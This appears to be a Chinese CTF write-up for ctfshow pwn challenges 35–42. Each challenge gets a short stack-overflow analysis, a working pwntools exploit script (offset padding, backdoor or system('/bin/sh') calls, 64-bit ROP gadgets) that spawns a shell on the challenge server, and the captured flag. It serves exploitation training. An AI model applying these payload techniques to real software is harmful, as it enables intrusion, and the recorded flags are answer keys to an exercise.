pwn35
看到ctfshow函数会在参数个数大于1的时候触发,因为argc的初始值为1,所以只要有输入就可以触发
ctfshow函数是一个可以利用栈溢出的strcpy函数,长度是104,那么只要输入大于104就可以实现栈溢出,输入flag
getshell,输出flag
flag:ctfshow{06a8170a-6005-408e-a9b1-a6f4405f1657}
pwn36
首先checksec,32位程序,只开启了部分RELRO保护,NX,canary和PIE保护均没有开启
gets函数的输入没有限制,gets函数存在栈溢出,使用cyclic计算溢出长度,溢出长度为44
发现后门函数get_flag,地址为0x8048586
EXP:
from pwn import *
p=remote('pwn.challenge.ctf.show',28270)
context(os = 'linux',arch = 'i386',log_level = 'debug')
payload=b'A'*44+p32(0x8048586)
p.sendline(payload)
p.interactive()
getshell
flag:ctfshow{df2b0d82-7558-4e00-b395-1bd5d7805e80}
pwn37
首先checksec,32位程序,NX保护开启,canary和PIE保护没有开启
ctfshow函数中的,v1大小为14,而read函数读取大小为50,所以read函数存在栈溢出,使用cyclic计算栈偏移量为22
发现后门函数backdoor,地址为0x8048521
EXP:
from pwn import *
p=remote('pwn.challenge.ctf.show',28277)
context(os = 'linux',arch = 'i386',log_level = 'debug')
payload=b'A'*22+p32(0x8048521)
p.sendline(payload)
p.interactive()
getshell
flag:ctfshow{ed20bbcf-f637-426a-b824-e73390157c6f}
pwn38
首先checksec,64位程序,开启了NX保护
ctfshow函数中的read函数存在栈溢出,cyclic计算栈偏移量为18
发现后门函数backdoor,地址为0x400657
ret地址为0x400287,用于64位程序堆栈平衡
EXP:
from pwn import *
p=remote('pwn.challenge.ctf.show',28309)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
payload=b'A'*18+p64(0x400287)+p64(0x400657)
p.sendline(payload)
p.interactive()
getshell
flag:ctfshow{0f7017ba-411b-4334-92c2-9cdb412a05a1}
pwn39
首先checksec,32位程序,NX保护开启
ctfshow函数中的read函数存在栈溢出,cyclic计算栈偏移量为22
发现hint函数中有system函数,同时发现了bin/sh字符串,找到bin/sh字符串的地址为0x8048750
EXP:
from pwn import *
p=remote('pwn.challenge.ctf.show',28128)
context(os = 'linux',arch = 'i386',log_level = 'debug')
elf = ELF('./pwn')
system = elf.sym['system']
payload=b'A'*22+p32(system)+b'a'*4+p32(0x8048750)
p.sendline(payload)
p.interactive()
getshell
flag:ctfshow{99e30626-ea46-4a51-8b59-10a7e9d61f13}
pwn40
首先checksec,64位程序,NX保护开启
ctfshow函数中的read函数存在栈溢出,cyclic计算栈偏移量为18
发现hint函数中有system函数,同时发现了bin/sh字符串,找到bin/sh字符串的地址为0x400808
EXP:
from pwn import *
p=remote('pwn.challenge.ctf.show',28168)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./pwn')
system = elf.sym['system']
rdi = 0x4007e3
ret = 0x4004fe
payload=b'A'*(0xA+8)+p64(rdi)+p64(0x400808)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()
getshell
flag:ctfshow{686d329f-5af4-4dd6-9335-666d775d66fd}
pwn41
首先checksec,32位程序,NX保护开启
ctfshow函数中的read函数存在栈溢出,cyclic计算栈偏移量为22
发现hint函数中存在system函数,useful函数存在sh,根据题目的提示得知或许sh可以替代bin/sh,找到sh的地址为0x80487BA
EXP:
from pwn import *
p=remote('pwn.challenge.ctf.show',28218)
context(os = 'linux',arch = 'i386',log_level = 'debug')
elf = ELF('./pwn')
system = elf.sym['system']
payload=b'A'*(0x12+4)+p32(system)+p32(0)+p32(0x80487BA)
p.sendline(payload)
p.interactive()
getshell
flag:ctfshow{f8c9aeca-4106-40f7-bf9a-13aeeba8b8cc}
pwn42
首先checksec,64位程序,NX保护开启
ctfshow函数中的read函数存在栈溢出,cyclic计算栈偏移量为18
发现hint函数中存在system函数,useful函数存在sh,根据题目的提示得知或许sh可以替代bin/sh,找到sh的地址为0x400872
EXP:
from pwn import *
p=remote('pwn.challenge.ctf.show',28118)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./pwn')
system = elf.sym['system']
rdi = 0x400843
ret = 0x40053e
payload=b'A'*(0xA+8)+p64(rdi)+p64(0x400872)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()
getshell
flag:ctfshow{3a5c7705-a6a6-4d89-aeaf-fc3902f747df}